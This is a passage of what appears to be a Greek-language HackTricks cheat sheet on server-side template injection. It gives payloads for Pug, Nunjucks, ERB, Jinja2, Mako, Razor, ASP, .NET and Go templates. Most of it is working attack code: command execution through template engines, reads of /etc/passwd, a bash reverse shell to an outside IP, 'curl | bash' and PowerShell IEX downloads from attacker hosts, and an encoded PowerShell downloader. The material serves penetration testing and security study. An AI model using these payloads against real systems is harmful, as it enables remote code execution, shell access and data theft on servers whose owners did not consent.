  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Παράδειγμα server-side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Περισσότερες πληροφορίες

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Καμία έξοδος
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Σφάλμα
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Περισσότερες πληροφορίες

Άλλα NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Περισσότερες πληροφορίες

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Περισσότερες πληροφορίες

Άλλο για Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με arbitrary command execution bypassing sandboxes σε python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Περισσότερες πληροφορίες

Jinja2 (Python)

Επίσημη ιστοσελίδα

Το Jinja2 είναι ένας πλήρης template engine για Python. Παρέχει πλήρη υποστήριξη Unicode, ένα προαιρετικό ενσωματωμένο sandbox περιβάλλον εκτέλεσης, είναι ευρέως χρησιμοποιούμενο και διανέμεται με άδεια BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Μορφή προτύπου

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE που δεν εξαρτάται από __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Περισσότερες λεπτομέρειες για το πώς να εκμεταλλευτείτε το Jinja:

Jinja2 SSTI

Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Περισσότερες πληροφορίες

Άλλο Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Η μέθοδος .NET System.Diagnostics.Process.Start μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον server και συνεπώς να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα vulnerable webapp στο https://github.com/cnotin/RazorVulnerableApp

Περισσότερες πληροφορίες

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Περισσότερες Πληροφορίες

.Net Παράκαμψη περιορισμών

Οι μηχανισμοί .NET Reflection μπορούν να χρησιμοποιηθούν για να παρακάμψουν blacklisting ή σε περιπτώσεις όπου classes δεν είναι παρόντα στο assembly. DLL’s μπορούν να φορτωθούν κατά το runtime με methods και properties προσβάσιμα από basic objects.

Dll’s μπορούν να φορτωθούν με:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - από το filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - απευθείας από το request.

Πλήρης εκτέλεση εντολών:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Περισσότερες Πληροφορίες

Mojolicious (Perl)

Ακόμα κι αν είναι Perl, χρησιμοποιεί tags όπως ERB στο Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI στο Go

Στη μηχανή templates του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:

  • {{ . }}: Αποκαλύπτει τη δομή των δεδομένων εισόδου. Για παράδειγμα, αν περάσει ένα αντικείμενο με ιδιότητα Password, το {{ .Password }} μπορεί να το αποκαλύψει.
  • {{printf "%s" "ssti" }}: Αναμένεται να εμφανίσει το string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Αυτά τα payloads πρέπει να επιστρέψουν “ssti” χωρίς να προσθέτουν “html” ή “js”. Επιπλέον directives μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Εκμετάλλευση

Με το text/template package, το XSS μπορεί να είναι απλό εισάγοντας απευθείας το payload. Αντίθετα, το html/template package κωδικοποιεί την απόκριση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}} δίνει &lt;script&gt;alert(1)&lt;/script&gt;). Παρόλα αυτά, ο ορισμός και η κλήση template στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Εκμετάλλευση

Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template και text/template. Το module text/template επιτρέπει την κλήση οποιασδήποτε public function απευθείας (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη εδώ για html/template και εδώ για text/template.

Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μέθοδο System που εκτελεί εντολές, μπορεί να εκμεταλλευτεί ως {{ .System "ls" }}. Συνήθως είναι απαραίτητη η πρόσβαση στον source code για να γίνει exploit, όπως στο δεδομένο παράδειγμα:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Περισσότερες πληροφορίες

LESS (CSS Preprocessor)

LESS είναι ένας δημοφιλής CSS pre-processor που προσθέτει variables, mixins, functions και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει (“inline”) τα περιεχόμενά τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Περισσότερα Exploits

Δείτε το υπόλοιπο στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερα exploits. Επίσης μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες για tags στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Σχετική Βοήθεια

Αν πιστεύετε ότι μπορεί να είναι χρήσιμο, διαβάστε:

Εργαλεία

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks